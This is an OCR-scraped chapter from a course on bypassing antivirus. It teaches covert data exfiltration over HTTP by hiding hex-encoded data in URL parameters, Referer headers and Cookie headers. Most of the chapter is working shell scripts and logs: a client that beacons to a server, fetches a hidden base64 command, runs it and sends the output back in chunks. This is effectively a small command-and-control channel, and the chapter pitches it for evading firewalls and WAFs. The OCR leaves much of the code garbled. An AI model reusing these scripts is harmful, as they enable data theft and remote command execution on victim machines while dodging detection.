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Simple way for Data Exfiltration via HTTP Traffic (PART1)

In this chapter | want to talk about Exfiltration via HTTP traffic . the idea for this Technique is “Payloads Injection to HTTP Header
via (Referer and Cookie also ID values via urls) by Fake Headers. But we have a lot things in HTTP header to use them as
payload , for more information about HTTP Header you can read this link :

HTTP Header fields: https:/en.wikipedia.org/wiki/List of HTTP header fields

Note : when | said “Fake Header”, it means you will have Header with legal fields in HTTP Packet but you can use these fields as
payload for DATA EXxfiltration.

So in this chapter | will talk about (3 Techniques) which used in my shell code “NativePayload_HTTP.sh” also C# code.

These Technique are:

1.DATA Exfiltration/Sending via “ID Variable” and Values by url
2.DATA Exfiltration/Sending via “Referer” HTTP Header Field
3.DATA Exfiltration/Sending via “Cookie” HTTP Header Field

Note: My code has Client-Side (C#/Shell code) and Server-Side (Shell code only).

Note: in this chapter | want to talk about Exfiltration (send data from Client to Server) so my goal is payload send from client to
server by web /GET Request and web Response for each /GET Request was not important to me in my codes.

Note : rethink about Web application codes also Web Response is next step in these techniques but this was not my focus in this
chapter-12 and my codes.

also | want to talk about this methods by simple codes and simple steps without (Complicated or difficult) Codes or methods .

so | will show you , you can do these methods by simple codes and my focus is on HTTP Traffic in this chapter-12 and in my
codes my focus was not about “html or aspx” codes or web programming so if you are web developer after read this chapter you
can do this better than me (client/server side) for bypassing Firewalls/WAF or Some AVS , but about Firewall Detection against
these methods you should test these codes one by one with my tool “NativePayload_HTTP” or your own codes , finally | hope
these codes and ideas will be useful for you to test your Firewalls and network security tools.

1.DATA EXxfiltration/sending via IDs Variable and Values by URL, What is this technique (step by step) ?
In this Method you can use ID or UID values in “url” as Payload to send Data/payloads from client to server.

so let me explain this Method and Technique step by step but we talked about this method in previous chapter-11 too:

for example we have this Payload="this is my BMP payload” and “this is my second BMP payload” for Exfiltration via “uids”
values and web requests (/GET).

so in Client side we will have something like these Commands to send payloads to server:

Client side :

root@kali:~# echo " "] xxd -p
74686973206973206d7920626d70207061796c6f61640a
root@kali:~# echo "this is my bmp payload" | xxd -p | rev
204616f6c69716070207d6260297d60237960237968647
root@kali:~#

root@kali:~# curl http://127.0.0.1/Mainpage.aspx?ids=

<h1>Error response</h1>

<p>Error code 404.

<p>Message: File not found.

<p>Error code explanation: 404 = Nothing matches the given URI.
</body>

root@kali:~#

root@kali:~# echo " " | xxd -p
74686973206973206d79207365636f6e6420626d70207061796c6f61640a
root@kali:~# echo "this is my second bmp payload" | xxd -p | rev
204616f6c69716070207d6260246e6f63656370297d60237960237968647
root@kali:~#

root@kali:~# curl http://127.0.0.1/Mainpage.aspx?ids=

<head>

<title>Error response</title>
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<p>Error code 404.
<p>Message: File not found.

<p>Error code explanation: 404 = Nothing matches the given URI.
</body>
root@kali:~#

Note: | got Error because | did not have “Mainpage.aspx” file in server side so to avoid “Error Code 404" just we need to create
this file in server side by this command :

echo “Ops codes here ;)* > Mainpage.aspx
Note: Some “http error” will be a “flag” to network traffic detection by firewalls!

in Server-side we should have something like these Commands to download DATA by Web server log file.

Server side :

root@kali2:~# nohup python -m SimpleHTTPServer 80 > SimpleHTTPServer.txt 2>&1 &

[1] 1744

root@kali2:~#

root@kali2:~# cat SimpleHTTPServer.txt

nohup: ignoring input

127.0.0.1 - - [24/Dec/2018 15:30:35] code 404, message File not found

127.0.0.1 - - [24/Dec/2018 15:30:35] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260297d60237960237968647 HTTP/1.1" 404 -

127.0.0.1 - - [24/Dec/2018 15:31:32] code 404, message File not found

127.0.0.1 - - [24/Dec/2018 15:31:32] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260246e6f63656370297d60237960237968647 HTTP/1.1" 404 -
root@kali2:~# cat SimpleHTTPServer.txt | grep "ids="

root@kali2:~#

127.0.0.1 - - [24/Dec/2018 15:30:35] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260297d60237960237968647 HTTP/1.1" 404 -

127.0.0.1 - - [24/Dec/2018 15:31:32] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260246e6f63656370297d60237960237968647 HTTP/1.1" 404 -
root@kali2:~#

root@kali2:~# cat SimpleHTTPServer.txt | grep "ids=" | awk {'print $7'} | cut -d'=" -f2

root@kali2:~#
root@kali2:~# cat SimpleHTTPServer.txt | grep "ids=" | awk {'print $7'} | cut -d'=" -f2 | rev | xxd -r -p

root@kali2:~#

as you can see we can have these DATA from client to server via Web-Server log file very simple.
Now | want to talk about “script.sh” code to test this method by “NativePayload_HTTP.sh” step by step :

Applications ~ Places ¥  [£) Text Editor » Sat01:44
Open ~ || @ el sae (2| @ @ @
sktop/Chapter 12 Ty
#!/bin/sh
05="uname’

‘printf ‘=5 $
stid="hostname -I |
HOSid="echo $Hostid$0Sv1

0s | base64 | xxd -p | rev’
se64 | xxd -p | rev’

sleep 1
# sending signal as client to Hetect by server
curl "http://192.168.56.1/default.aspx?Session=$H0Sid
sleep 1
read -p "press enter to continue..." input
# dumping information about cmd from server
nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpcmds.log” 2>&1 &
sleep 2.5
# detecting cmd
mycmd="strings "dumpcmds.log" | grep "myTimelLabel cMD" | cut -d'>' -f2 | cut -d'<' -fl | basesd4 -d’
sleep 1
#executing cmd
output="$mycmd"
hostIPv4="hostname -I°
ou t="echo "[$LocalhostIPv4] => "$output’
# data/cmd-output sending via chunked (uids=bytes).values start
for bytes in “echo $output | xxd -p -c 12 | rev’
do
sleep 1.5
nohup curl "http://192.168.56.1/default.aspx?uids=$bytes" > out.txt 2>&l &
done
# data/cmd-output sending via chunked (uids=bytes).values done
sleep 1.5
# sending signal to server for "cmd-coutput Exfiltration finish"
nohup curl "http://192.168.56.1/default.aspx?logoff=null” > out.txt 2>&l1 &

sh = Tab Width:8 = Ln7, Col 31 = INS

Picture 1: Script.sh

2125 Course Author/Publisher : Damon Mohammadbagher



Bypassing Anti Viruses by C#.NET Programming

Part 2 (InfillExfiltration/Transferring Techniques by C#) , Chapter 12: Simple way for Data Exfiltration via HTTP (Part1)

Stepl (Script.sh Client-side): Client Detection by Server

With this simple code this client will detect by server : curl “http://192.168.56.1/default.aspx?Session=$HOSid”
“192.168.56.1" is server IPv4 address and “HOSid" is Client information

Applications ~ Places ~ [ Terminal ~ Sat 01:10

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

fte ot# fi

Picture 2: Client Detected by server .

Server-Side: | used this tool with this syntax: ./NativePayload_HTTP.sh -exfilwebserver
As you can see in “Picture 2" client with 1Pv4.[192.168.56.101] Detected by server with this message:
[']:Client.IPv4.[192.168.56.101]:Detected

Server-Side: now with this command “@cli” or “@client” in this tool you can see list of Clients.

In the next step | used command “@ w.x.y.z"” or “@interact w.x.y.z” to interact to client with IPv4 “192.168.56.101" and
Note: w.x.y.z. is Client IPv4 Address.

finally | used this command in server-side “echo this is simple test ;)”. this command will execute in client side after little bit
changes in Web-server pages so let me talk about details:

in this time we have some steps like these:

step 1-1: client send signal to server

step 1-2: client detected by server (add to client list)

step 2-1: server-side (use “@interact IPv4” or “@ IPv4” command) for interact to client and enter command for client-side
step 2-2: server-side , command injected to “getcmd.aspx” page file (“cmd=echo this is simple test ;)") by “base64” format.
step 3-1: client will send /GET request to read/download “getcmd.aspx” page after (press enter to continue...)

step 2-2 : in this time | do not want to talk about server-side codes but you should know this command “echo this is simple
test ;)" will inject to “getcmd.aspx” page file by something like this format:

html code 1: getcmd.aspx file

<span id="myTimeLabel_PivotServerCMD" style="color:red; visibility:hidden" ></span>

<span id="myTimeLabel_PivotClient" style="color:red; visibility:hidden" ></span>

<span id="myTimeLabel_TargetHost" style="color:red; visibility:hidden" >192.168.56.101</span>

<span id="myTimeLabel_Time" style="color:red; visibility:hidden" >[[22-02-2019.22-42-44]]</span>

<span id="myTimeLabel_FakeheaderStatus" style="color:red; visibility:hidden" >xheader-off</span>

<span id="myTimeLabel CMD" style="color:red; visibility:hidden" >ZWNobyB0aGIlzIGlzZIHNpbXBsZSB0ZXN0OIDspCg==<I/span>
<span id="myTimeLabel_Base64Status" style="color:red; visibility:hidden" >,0</span>

<span id="myTimeLabel_Delay" style="color:red; visibility:hidden" >192.168.56.101|0</span>

<span id="myTimeLabel_FakeHeaderMode" style="color:red; visibility:hidden" >,0</span>

step 3-1 : in this step Client will get “getcmd.aspx” from server by this code:
nohup curl "http://192.168.56.1/getcmd.aspx” > "dumpcmds.log” 2>&1 &

3/25 Course Author/Publisher : Damon Mohammadbagher



Bypassing Anti Viruses by C#.NET Programming

Part 2 (InfillExfiltration/Transferring Techniques by C#) , Chapter 12: Simple way for Data Exfiltration via HTTP (Part1)

as you can see in “script.sh” code we have “read -p” before “step 3-1".

Script.sh codel:

# dumping information about cmd from server

# detecting cmd

| used this code because before download “getcmd.aspx” we should do something in server-side like “Picture 2" as you can see
in “Picture 2" first step in client-side was (running ./Script.sh) then we have this Message “press enter to continue...” in this time in
server-side we have this message (Detected Client : 1Pv4.[192.168.56.101] ) and with this command “@ 192.168.56.101" or
“@interact 192.168.56.101" you can interact to this client and finally you should press enter in server-side to inject these
information like “html codel” to “getcmd.aspx” page.

Step2 (Script.sh Client-side): Detecting Commands
Note : now in this time in client-side you should (press enter to continue....)

as you can see | used this code “nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpcmds.log” 2>&1 &” for download
“getcmd.aspx” page so our output is this “dumpcmads.log” file and after (delay: 2.5 sec) by next code you can read this log file:

mycmd="strings "dumpcmds.log" | grep "myTimeLabel_CMD" | cut -d">' -f2 | cut -d'<' -f1 | base64 -d"

With this line of code you can have command which downloaded from server. Now this command will execute in client-side by
code “line number 2”. (you can see this code in [Script.sh code?2]).

Applications ~ Places ¥ [ Terminal ~ Sat 01:45
Open ~ script.sh o = a8 O O
#!/bin/sh
0S="uname "
05v1l="printf 'ss' " $05 " | base64 | xxd -p | rev’

Hostid="hostname -I | base64 | xxd -p | rev’
HOSid="echo $Hostid$0Svl

sleep 1

# sending signal as client to detect by server

curl "http://192.168.56.1/default.aspx?Session=$H0Sid"
sleep 1

read -p "press enter to continue..." input
# dumping information about cmd from server
nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpcmds.log" 2>&1 &

sleep 2.5

# detecting cmd

mycmd="strings "dumpcmds.log" | grep "myTimeLabel CMD" | cut -d'=' -f2 | cut -d'<' -fl1 | base64 -d’

sleep 1 - i
#executing cmd root@kali: ~
output="$mycmd" rootekali:~#
sleep 1 root@ka
LocalhostIPv4="hostname -TI° Tz
output="echo "[$LocalhostIPv4] == "$output’

# data/cmd-output sending via chunked (uids=bytes).values start

for bytes in “echo $output | xxd -p -c 12 | rev’

do

sleep 1.5

nohup curl "http://192.168.56.1/default.aspx?uids=$bytes” > out.

done

# data/cmd-output sending via chunked (uids=bytes).values done
sleep 1.5 Y. ! =T 5
# sending signal to server for "cmd-output Exfiltration finish" . : e ZILZMNSZS“
nohup curl *http://192.168.56.1/default.aspx?logoff=null" > out.txt 2>& I =

r:.)ot@kall

Picture 3: Detecting CMD (client-side)

Note: you need this delay before read “dumpcmds.log” and recommended value is between 2 up to 4 sec.

4725 Course Author/Publisher : Damon Mohammadbagher



Bypassing Anti Viruses by C#.NET Programming

Part 2 (InfillExfiltration/Transferring Techniques by C#) , Chapter 12: Simple way for Data Exfiltration via HTTP (Part1)

Script.sh code2:

1]
# executing cmd
$

$ $
# data/lcmd-output sending via chunked (uids=bytes).values start
$

$

# data/lcmd-output sending via chunked (uids=bytes).values done
# sending signal to server for "cmd-output Exfiltration finish"

Step3 (Script.sh Client-side): Executing Command Client-side

now by code in “line 2" you can execute CMD in client-side (locally).

Finally with codes from “line 5 up to 12" your command output + Client IPv4 address will send to server by chunked (12 bytes) via
“uids” variable. it means your command output converted to bytes also sent /GET Request via “uids” values to server.

And with code in “line 15” client sent signal to server as “finish flag”. In this time command output will show in server-side like

“Picture 4".

Applications ~ Places ~ Terminal ~ Sat 01:10

Desktop/NativePayload HTTP/After Pivot#

inet 192 6.1 netmask 255.255.255.0
root@oops : ~/Desktop/NativePayload_HTTP/After Pivot# .

/apache2/23-02-2019.01-09-00.backup.apache2.conf]:Created
/apache2/apache2.conf] :Modified
start
Started
erver .Defaultpage. [/var/www/html/default.aspx] :Created
erver.Commandpage. [ /var/wis d.aspx]:Created
erver.Monitoring.logl/var/log/apache2/access.logl:Started
1:Client.IPv4.[192.168.56.101] :Detected
@cli
@] :Clients.list:Show

-02-2019.01-09-13 IPv4:192.168.56.181 [Linux
-168.56.101

echo this is simple test ;)
stening Mode Started by apache2 Service

Picture 4: Command executed in client-side and output detected by server-side.

Why this method is important ?
Short answer is : because this way is very simple for send Data from client to server by “legal or illegal Web Applications” via

HTTP/HTTPS Traffic.

What is Firewalls Reaction ?
This is very “Important Question” you should think about that and test this method in your Network by this simple code or your

own codes with deeply focus on web applications codes also HTTP Traffic.

For example: with my code in this method you will send DATA via URL and “uids” values from client to server but in this code my
server always will Response to client by static “Aspx” page and maybe it is “bad behavior” and flag for detection by Firewalls , so
what will happen if your server response was by “Dynamic Response” via “Aspx” or “php” pages?
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2.DATA Exfiltration/Sending via “Referer” HTTP Header Field , What is this technique (step by step)?
In this method you can use “referer” HTTP header field as payload for send data/payload to server.

What is “referer”?
The HTTP “referer” is an optional HTTP header field that identifies the address of the webpage that linked to the resource being
requested.

this method step by step :

in this method your Data/Payload will inject to “Referer” field in HTTP Header via simple code .

My code “script2.sh” almost is same with previous method code “script.sh” but in this case we need HTTP Header and “curl”
command with little bit changes, so let me talk about Code:

Applications ~ Places ¥  [£] Text Editor ~ Sat 15:58
- script2.sh =
= = ~[Desktop/Chapter 12 Tmp e =000
#!/bin/sh
0S="uname "
05v1l="printf 'ss' " $05 " | base64 | xxd -p | rev’

Hostid="hostname -I | base64 | xxd -p | rev’
HOSid="echo $Hostid$0Svl
sleep 1
# sending signal as client to detect by server
curl "http://192.168.56.1/default.aspx?Session=$H0Sid"
sleep 1
read -p "press enter to continue...” input
# dumping information about cmd from server
nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpcmds.log" 2>&1 &
sleep 2.5
# detecting cmd
mycmd="strings "dumpcmds.log" | grep "myTimeLabel CMD" | cut -d'>' -f2 | cut -d'<' -f1l | base64 -d’
sleep 1
#executing cmd
output="$mycmd"
Random2="head /dev/urandom | tr -dc @-9a-f | head -c8"
sleep 1
LocalhostIPv4="hostname -I°
output="echo "[$LocalhostIPv4] => "$output’
# data/cmd-output sending via chunked (uids=bytes).values start
for bytes in "echo $output | xxd -p -c 12 | rev’
do
sleep 1.5
# nohup curl "http://192.168.56.1/default.aspx?uids=$bytes" > out.txt 2>&1 &
nohup curl -w \
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8"
-H 'Accept-Language: en-US;q=0.8,en;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H "Accept-Encoding: gzip, deflate" \
-e 'thos:f/www‘goagle.cam/searcﬂ?ei:DSZAXPSqD&didsksuytesﬁqzs Random2&oq=a0d3d377b&gs l=psy-ab.3......... 0....1..gws-wiz.IW6 Q
-A 'Mozilla/5.0 (X11; Linux x86 ; rv:s50.0) Gecko/20100101 Firefox/50.0' \
*http://192.168.56.1/default.asp > "out.txt" 2>&1 &

done
# data/cmd-output sending via chunked (uids=bytes).values done
sleep 1.5

# sending signal to server for "cmd-output Exfiltration finish"
nohin_curl _"httn-//192 168 56 1/defanlt asnx?lononff=null" = nut txt 2581 &
sh * TabWidth: 8 + Ln 31, Col76 - INS.

Picture 5: Script2.sh
as you can see this “script2.sh” is as same as with “script.sh” but just we have some new things in “curl” command.
It means all steps for “script2.sh” are same with “script.sh” .

Script.sh:
nohup curl "http://192.168.56.1/default.aspx?uids=$bytes" > out.txt 2>&1 &

Script2.sh:
nohup curl -v\
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"'\
-H 'Accept-Language: en-US;q=0.8,en;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H "Accept-Encoding: gzip, deflate" \
-e "https:/lwww.google.com/search?ei=bsZAXPSqD&uids=$bytes&q=$_Random2&oq=a0d3d37b&gs_|=psy-ab.3......... 0....1..gws-wiz.IW6_Q" \
-A 'Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' \
"http://192.168.56.1/default.aspx" > "out.txt" 2>&1 &

as you can see in “script2.sh” we don't have “uids=" variable in “url” and this variable injected to “referer” field by switch “-e”
-e "https:/lwww.google.com/search?ei=bsZAXPSqD&uids=$bytes&q=$_Random2&oq=a0d3d37b&gs_I=psy-ab.3......... 0....1..gws-wiz.IW6_Q" \

this is big different between previous code “script.sh” with this new code “script2.sh”. So in this case our payload injected to
“referer” by this address “https:/lwww.google.com/search?...” but if you think this is not good “referer” address, you can use
something like these addresses instead “google.com”
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-e "https://www.yourdomain.com/search/[payload]/result”

-e “https://www.yourdomain.com/search/5776a6e4874396d45354a775/”

-e “https://www.yourdomain.com/report/5776a6e4874396d45354a775/"

-e “https://lwww.yourdomain.com/something/5776a6e4874396d45354a775/"
-e “https://www.yourdomain.com/5776a6e4874396d45354a775/search”

Applications ~ Places ~  [J Terminal ~ Sat 16:00

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot [— I I < ] root@kali: ~ 2 @0

che2.conf]:Created

[@] :Target Host:

[@] :HTTP: : DumpedbyHtt

Picture 6: Script2.sh

as you can see in “Picture 6” in server-side | used this tool “NativePayload_HTTP.sh -exfilwebserver 80" and | used “script2.sh”
in client-side , now we have this message “press enter to continue...” in client-side , in this time in server-side we have some new
steps :

stepO: script2.sh executed

stepl: Client detected by server with IPv4 192.168.56.102

step2: with command “@ 192.168.56.102" you can have interaction with client.

step3: in this time by this command “@fhn” or “@fheaderon” you will have Fake-Header with “setting:on”.(this step is new)
step4: by this command “@xrn” or “@xrefon” you will have Payload Injection via “Referer” HTTP Header Field.(this step is new)
Note: before use “@xrn” you should use “@fhn” command to enable Fake-Header always and with “@fhf” you can disable Fake-
Header configuration also with “@xrf’ or “@xrefoff’ you can disable Payload Injection via “Referer” HTTP Header Field.

step5: now you can enter your command to execute in client-side. as you can see in the “Picture 6” | used this command “echo
this is test 2 ;)”

step6: press enter to continue.... (client-side).

step7: you will see command output (server-side).
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Applications ~ Places » [ Terminal ~ Sat16:01
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot root@kali: ~

]1:Client.IPv4.[19
@l :Target Hos
@] :HTTP: : Dump

@] :HTTP: :Du

rootekali:-#

23-02-2019.16-80-56 -N-F-Re-> Cmd:[echo this is test 2 ;)]::[192.168.56.102 ] == this is test 2 ;)

Picture 7: Script2.sh and command output.
as you can see in “Picture 7” we have command output but in this case our Payload Injected to “Referer” HTTP Header Field.
Now we should talk about details behind this method (especially in HTTP Traffic).

Important Point: by this command “./NatvePayload_HTTP.sh -exfilwebserver 80", this code will run Web server based on
“Apache” service , it means all /GET request will send from client-side (windows-linux) to “Apache2” service then my Code will
monitor (Real-time Monitor with delay) these request via “Apache?2 log file” (“/varlloglapache2/access.log”).

In the next “Picture 8" you can see what we have in Apache log file for this method , as you can see in this “Picture 8” we have
“six lines”.

Note: my Apache log file has this format:

Clients-IPv4 - - [date-time] “GET page HTTP/1.1” status length “referer” “user-agent” “cookie”

by default in apache log file you can see these fields except “cookie” and you can add this field by add this line in
“letclapache2/apache2.conf” file like this:

LogFormat "%v:%p %h %I %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %I %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\" \"%{Cookie}i\"" combined
LogFormat "%h %I %u %t \"%r\" %>s %0" common

LogFormat "%{Referer}i -> %U" referer

LogFormat "%{User-agent}i" agent

Note: this “apache configuration” tested by “kali linux” only.

log records (Picture 8):

Line 1: in this line you can see client sent /GET request for download “getcmd.aspx” with Header.[user-agent] “curl/7.38.0"
192.168.56.102 - - [date-time] “GET /getcmd.aspx HTTP/1.1” 200 2098 “-” “Curl/7.38.0" *“-”

in this time getcmd.aspx downloaded by client and command detected by client (for more information see “html code 1") also
command executed in client-side and finally command output is ready to send to server, so command output will be in next lines
in this log file. With line “2 up to 5” you can see we have “referer” field in log file with Exfiltration Payload in this case our payload
is “echo” Command output (bytes).for example in line 2 we have something like this:

https:/lwww.google.com/search?ei=bsZAXPSqD&uids=e26353e2836313e2239313b5&q=$_Random2&oq=a0d3d37b&gs_l=psy-ab.3......... 0....1..gws-
wiz.IW6_Q
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in the last line we have finish flag for exfiltration: “default.aspx?logoff=null” and this log record has this time [16:00:51] and you
can see in the “Picture 8” our output displayed “five seconds” after this “finish flag” in server-side.

192.168.56.102 - - [23/Feb/2019:16:00:51] “GET /default.aspx?logoff=null HTTP/1.1” 200 749 “-” *“Curl/7.38.0" “-”

Applications ~ Places ¥ [ Terminal ~ Sat 16:03

root@oops: ~/Desktop/Chapter 12 Tmp 00

root@oops top/Chapter 12 Tmp# cat access.log
at og: No su f

[23/Feb/2019:16:00:58 +0330] "GET /f
Mozilla/5.0 (X11; Linux x86 64; rv:50

[@] :HTTP: : Dump

Exfiltration

23-02-2019.16-00-56 -N-F-Re-> Cmd:[echo this is test 2 ;)]::[192.168.56.102 ] == this is test 2 ;)

Picture 8: Script2.sh and command output and Apache log file.

So you can see my code in server side displayed all output from client-side by Monitoring this log file and this is good way also
this way is very simple.

3.DATA Exfiltration/Sending via “cookie” HTTP Header Field , What is this technique (step by step)?

In this time | want to talk about HTTP “cookie” Header Field for exfiltration, so again we have new “script3.sh” to test this
technique by “NativePayload HTTP.sh” code.

In this technique our payload should inject to “cookie” field in HTTP Header , in previous method | talked about Apache log file
also Apache configuration file so as | mentioned we have “cookie” field in Apache log file by adding one line in Apache config file.
now we can see cookies in log file like previous technique just in this case we need to focus to “cookie” instead “referer”.

Note: in my code these Configuration will add to apache?2 config file , it means all configuration will overwrite by my code but
before that my code will create backup from your current apache2.conf file.

Very Important Point : It is my Recommended if your linux is not Kali linux :
If you want to change your apache.conf file manually without use my code then you should change “NativePayload_HTTP.sh”
code:

change from this:
initApache2ConfigFile;
echo "[>]:Server.Exfiltration.Mode:Started"
echo "[>]:Server.Defaultpage.[/var/www/html/default.aspx]:Created"
echo "[>] :Server.Commandpage. [/var/www/html/getcmd.aspx]:Created"
echo "[>]:Server.Monitoring.log[/var/log/apache2/access.log]:Started"
to this:
#initApache2ConfigFile;
echo "[>]:Server.Exfiltration.Mode:Started"
echo "[>]:Server.Defaultpage.[/var/www/html/default.aspx]:Created"
echo "[>]:Server.Commandpage. [/var/www/html/getcmd.aspx]:Created"
#echo "[>]:Server.Monitoring.log[/var/log/apache2/access.log]:Started"
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so in this case when you want to change manually your Configuration file for Apache in this path “letclapache2/apache2.conf”
you should add these lines manually to this file by this format:

LogFormat "%v:%p %h %I %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "“%h %Il %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\" \"%{Cookie}i\"" combined
LogFormat "%h %I %u %t \"%r\" %>s %0" common

LogFormat "%{Referer}i -> %U" referer

LogFormat "%{User-agent}i" agent

it is my “recommended” if your Config file is important to you or your linux is not kali linux , because in my code | used
Default Apache2 conf file for Kali Linux for overwrite to your conf file.

after these steps you can run this script in server-side “.INativePayload_HTTP.sh -exfilwebserver*.

Applications ~ Places ¥  [E] Text Editor ~ Sat 16:15 w  en~ w) B -
Open v . scrl_pt3.sh. L Save = @00
~[Desktop/Chapter 12 Tmp

#!/bin/sh

05="uname"

05v1l="printf 'ss' " $05 " | base64 | xxd -p | rev’

Hostid="hostname -I | base64 | xxd -p | rev’

HOSid="echo $Hostid$0Svl

sleep 1

# sending signal as client to detect by server

curl "http://192.168.56.1/default.aspx?Session=$H0Sid"

sleep 1

read -p "press enter to continue...” input

# dumping information about cmd from server

nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpcmds.log" 2>&1 &

sleep 2.5

# detecting cmd

mycmd="strings "dumpcmds.log" | grep "myTimeLabel CMD" | cut -d'>' -f2 | cut -d'<' -f1l | base64 -d’

sleep 1

#executing cmd
output="$mycmd"
Random2="head /dev/urandom | tr -dc @-9a-f | head -c8"

sleep 1
LocalhostIPv4="hostname -I°
output="echo "[$LocalhostIPv4] => "$output’

# data/cmd-output sending via chunked (uids=bytes).values start
for bytes in "echo $output | xxd -p -c 12 | rev’

do
sleep 1.5
nohup curl -v \
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8"
-H 'Accept-Language: en-US;q=0.8,en;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H "Accept-Encoding: gzip, deflate" \
-e "https://www.bing.com" -b "viewtype=Default; UniqueIDs=uids=$bytes&$ Random2" \
-A 'Mozilla/5.0 (X11; Linux x86 64; rv:50.0) Gecko/20100101 Firefox/50.0' \
"http://192.168.56.1/default.aspx” > "out.txt” 2>&l & |
done
# data/cmd-output sending via chunked (uids=bytes).values done
sleep 1.5
# sending signal to server for "cmd-output Exfiltration finish"
nohup curl "http://192,.168.56 . 1/default . aspx?logoff=pull" > out.txt 2>&1 &

sh v TabWidth:8 = Ln 32, Col 81 hd INS

Picture 9: Script3.sh
as you can see in “Picture 9”7, our new “script3.sh” is as same as with “scrip2.sh”, except in part of “cookie” you can see where is
different between these two codes here:

Script2.sh:
nohup curl -v\
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"\
-H 'Accept-Language: en-US;q=0.8,en;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H "Accept-Encoding: gzip, deflate" \
-e "https:/lwww.google.com/search?ei=bsZAXPSqD&uids=$bytes&q=$_Random2&oq=a0d3d37b&gs_l=psy-ab.3......... 0....1..gws-wiz.IW6_Q" \
-A 'Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' \
"http://192.168.56.1/default.aspx" > "out.txt" 2>&1 &

Script3.sh:
nohup curl -v \
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
-H 'Accept-Language: en-US;q=0.8,en;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H "Accept-Encoding: gzip, deflate" \
-e "https:/lwww.bing.com" -b "viewtype=Default; UniquelDs=uids=$bytes&$_Random2" \
-A 'Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' \
"http://192.168.56.1/default.aspx" > "out.txt" 2>&1 &

you can see with switch “-b” , we can have cookie variable and values: -b "viewtype=Default; UniquelDs=uids=$bytes&$ Random2"
so again like previous technique we have some steps like these:

stepO: script3.sh executed

stepl: Client detected by server with IPv4 192.168.56.102

step2: with command “@ 192.168.56.102” you can have interaction with client.

step3: in this time by this command “@fhn” or “@fheaderon” you will have Fake-Header with “setting:on”.
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step4: by this command “@xcn” or “@xcookieon” you will have Payload Injection via “cookie” HTTP Header Field.

Note: before command “@xcn” you should use “@fhn” command to enable Fake-Header always and with “@fhf” you can
disable Fake-Header configuration also with “@xcf” or “@xcookieoff’ you can disable Payload Injection via “cookie” HTTP
Header Field.

step5: now you can enter your command to execute in client-side. as you can see in the “Picture 10” | used this command “echo
this is test 3 ;)”

step6: press enter to continue.... (client-side).

step7: you will see command output (server-side).

Applications ¥ Places ¥ [ Terminal ~ % env W) O ~
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot root@kali: ~

root@oops : esktop/NativePayload HTTP/After Pivot# ./NativePayload H .sh -exfil

cho this is test

rted by

rooi@kali.=-

3-02-2019.16-15-04 -N-F Cmd:[echo this is tes B2 1 == this is test

Picture 10: Script3.sh and command output.
as you can see in the next “Picture 11" we have injected payload as cookie values into Apache log file.
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Applications ~ Places * [ Terminal ~ Sat16:16
Open ~ root@oops: ~/Desktop/Chapter 12 Tmp e e €

#!/bin/sh
05="uname’
0Svl="printf '%s' " %30S " | base64 | xxd -p | rev’
Hostid="hostname -I | base64 | xxd -p | rev’ Termina
HOSid="echo $Hostid$0Svl’ root@oops : ~/Desktop/Chapter 12 Tm
sleep 1 root@oops : ~/Desktop/Chapter i

# sending signal as client to detect by server
curl "http://192.168.56.1/default.aspx?Session=$H0Sid
sleep 1

read -p "press enter to continue..." input
# dumping information about cmd from server

nohup curl "http://192.168.56.1/getcmd.aspx" > "dumpd BB B R

sleep 2.5
# detecting cmd
mycmd="strings "dumpcmds.log" | grep "myTimelabel CMDIteLiIEtE
sleep 1
#executing cmd
$mycmd
Random2="head /dev/urandom | tr -dc @-9a-f | head -c8"
sleep 1
LocalhostIPv4="hostname -I°
output="echo "[$LocalhostIPv4] => "$output’
# data/cmd-output sending via chunked (uids=bytes).values start
for bytes in "echo $foutput | xxd -p -c 12 | rev’
do
sleep 1.5

nohup curl -v \
-H "Host: 192.168.56.1" -H 'Connection: keep-alive' -H 'Accept: text/html,appl
-H 'A pt- 1age: en-US;q=0 5' -H 'Upgrade-Insecure-Requests: 1'

ication/xhtml+xm
H "Accept-Encoding: gzip, deflate" \

ication/xml;q=0.9,*/%;q=0.8"

e "https ing.com" -b "v ; UniqueIDs=uids=$bytes Random2" \
-A 'Mozill (X11; Linux x86 6 5 Gecko/20100101 Firefox/50.0"' \
"http://192.168.56.1/default.aspx" > "out.txt" 2>&1 &
done
# data/cmd-output sending via chunked (uids=bytes).values done
sleep 1.5
